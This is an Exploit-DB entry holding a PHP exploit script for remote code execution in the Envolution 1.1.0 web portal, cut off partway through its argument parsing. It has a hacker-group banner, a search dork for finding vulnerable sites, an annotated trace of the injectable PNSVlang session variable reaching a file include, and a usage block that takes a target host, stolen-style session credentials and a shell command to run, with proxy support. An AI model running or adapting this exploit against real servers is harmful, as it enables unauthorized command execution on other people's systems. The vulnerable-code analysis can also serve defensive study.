Exploit-DB #2888
Description: Envolution 1.1.0 - 'PNSVlang' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-12-03
Author: Kacper

Exploit:
<?

print '
:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
 

[Exploit name: Envolution <= 1.1.0 (PNSVlang) Remote Code Execution Exploit
[Script name: Envolution 1.1.0
[Script site: http://sourceforge.net/projects/envolution
dork: "eNvolution, * a web portal system written in PHP" (yahoo)

Find by: Kacper (a.k.a Rahim)


========>  DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam  <========
========>         http://www.rahim.webd.pl/            <========

Contact: kacper1964@yahoo.pl

(c)od3d by Kacper
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon | friend str0ke ;)
pepi, nukedclx, SkD, MXZ, sysios, mIvus, wacky, xoron, fdj, mass, D3m0n (ziom z Niemiec :P)

 and
 
Dr Max Virus
TamTurk,
hackersecurity.org

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                Greetings for 4ll Fusi0n Group members ;-)
                and all members of hacker.com.pl ;)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
';
/*
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
in file error.php:
[line 57-71]
....
include 'includes/pnAPI.php';
pnInit();
include 'includes/legacy.php';
// eugenio themeover 20020413
//pnThemeLoad();

$currentlang = pnUserGetLang();                        // <-------{3}
if (file_exists("language/$currentlang/error.php"))       // <-------{2}
    {
       include "language/$currentlang/error.php";    // <-------{1}
    } elseif (file_exists("language/eng/error.php")) {
       include "language/eng/error.php";
    }

....
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
in file includes/pnAPI.php:
[line 347-349]
....
	include	'includes/pnSession.php';        // <-------{5}
	include	'includes/pnUser.php';         // <-------{4}
	include	'includes/envRender.php';
....
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
in file includes/pnUser.php:
[line 516-524]
....
function pnUserGetLang()
{
    $lang = pnSessionGetVar('lang');             // <-------{4a}
    if (!empty($lang)) {
        return $lang;
    } else {
        return pnConfigGetVar('language');
    }
}
....
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
in file includes/pnSession.php:
[line 131-143]
....
function pnSessionGetVar($name)
{
    global $HTTP_SESSION_VARS;

    $var = "PNSV$name";

    global $$var;                    // <-------{5a}
    if (!empty($$var)) {
        return $$var;
    }

    return;
}
....
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

by Kacper ;)
*/
if ($argc<8) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path username password session_id user_id cmd OPTIONS
host:       target server (ip/hostname)
path:       Envolution path
username:   You username
password:   You password
session_id: register in Envolution, login and insert you session id
user_id:    you user id
cmd:        a shell command (ls -la)
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /Envolution/ 07e0ed91d7ffab69312a5ab3db4b827d 105 ls -la -P1.1.1.1:80
-----------------------------------------------------------------------------
');

die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$password=$argv[4];
$session=$argv[5];
$user_id=$argv[6];
$cmd="";

$port=80;
$proxy="";
for ($i=7; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p")